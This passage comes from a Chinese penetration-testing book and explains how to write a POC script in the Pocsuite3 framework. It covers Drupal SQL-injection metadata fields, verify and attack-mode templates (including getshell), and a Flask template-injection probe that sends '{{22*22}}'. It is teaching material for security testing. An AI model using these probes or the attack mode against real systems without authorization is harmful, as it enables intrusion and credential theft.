Python安全攻防:渗透测试实战指南
上QQ阅读APP看书,第一时间看更新

3.2.2 POC脚本的编写步骤

下面进行POC脚本的编写。

1)首先新建一个.py文件,文件名应当符合POC命名规范。

2)编写POC实现类DemoPOC,继承自POCBase类:


from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str

    class DemoPOC(POCBase):
        ...

3)填写POC信息字段,需要认真填写所有基本信息字段,规范信息字段以利于查找:


vulID = '1571'               # ssvid ID,如果是提交漏洞的同时提交PoC,则写成0
version = '1'               #默认为1
author = 'seebug'               # POC作者的名字
vulDate = '2014-10-16'          #漏洞公开的时间,不明确时可以写今天
createDate = '2014-10-16'     # 编写POC的日期
updateDate = '2014-10-16'     # POC更新的时间,默认和编写时间一样
references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-
    vulnerability.html']          # 漏洞地址来源,0day不用写
name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC' # POC名称
appPowerLink = 'https://www.drupal.org/'     # 漏洞厂商的主页地址
appName = 'Drupal'                    # 漏洞应用名称
appVersion = '7.x'                    # 漏洞影响版本
vulType = 'SQL Injection'               #漏洞类型
desc = '''
Drupal 在处理IN语句时,展开数组时key带入SQL语句导致SQL注入,可以添加管理员,造成信
    息泄露
    '''                              # 漏洞简要描述
samples = []                         # 测试样列,使用POC测试成功的网站
install_requires = []

4)编写验证模式,在_verify方法中写入POC验证脚本:


def _verify(self):
    output = Output(self)
               # 验证代码
    if result:     # result表示返回结果
        output.success(result)
    else:
        output.fail('target is not vulnerable')
    return output

5)编写攻击模式。用_attack()函数中写入EXP利用脚本,在攻击模式下可以对目标进行getshell、查询管理员账户密码等操作,定义它的方法与检测模式类似:


def _attack(self):
    output = Output(self)
    result = {}
    # 攻击代码

注意:如果该POC没有攻击模式,可以在_attack()函数下加入return self._verify(),无须再写_attack()函数。

由上可知,Pocsuite框架的方便之处在于,基本的框架已经构造好了,只需填写漏洞扫描的代码,然后通过接收传入的IP地址进行url的构造,在后方加入“/?name=”构造url,向构造好的url发送请求,并判断其返回状态码及payload值,如果返回状态码为200,则代表网页正常请求,若返回的payload值为484,则表示服务器将url传入的payload正常执行,说明此处存在安全漏洞:


def _verify(self):
    '''verify mode'''
    result = {}
    path = "/?name="
    url = self.url + path
    payload = "{{22*22}}"
    
    #first req
    try:
        resq = requests.get(url + payload)
        if resq and resq.status_code == 200 and "484" in resq.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
    except Exception,e:
        pass
    return self.parse_output(result)

将模板的_verify方法替换成Flask漏洞检测的脚本便完成了POC的编写,执行效果如图3-3所示。

图3-3 Pocsuite验证漏洞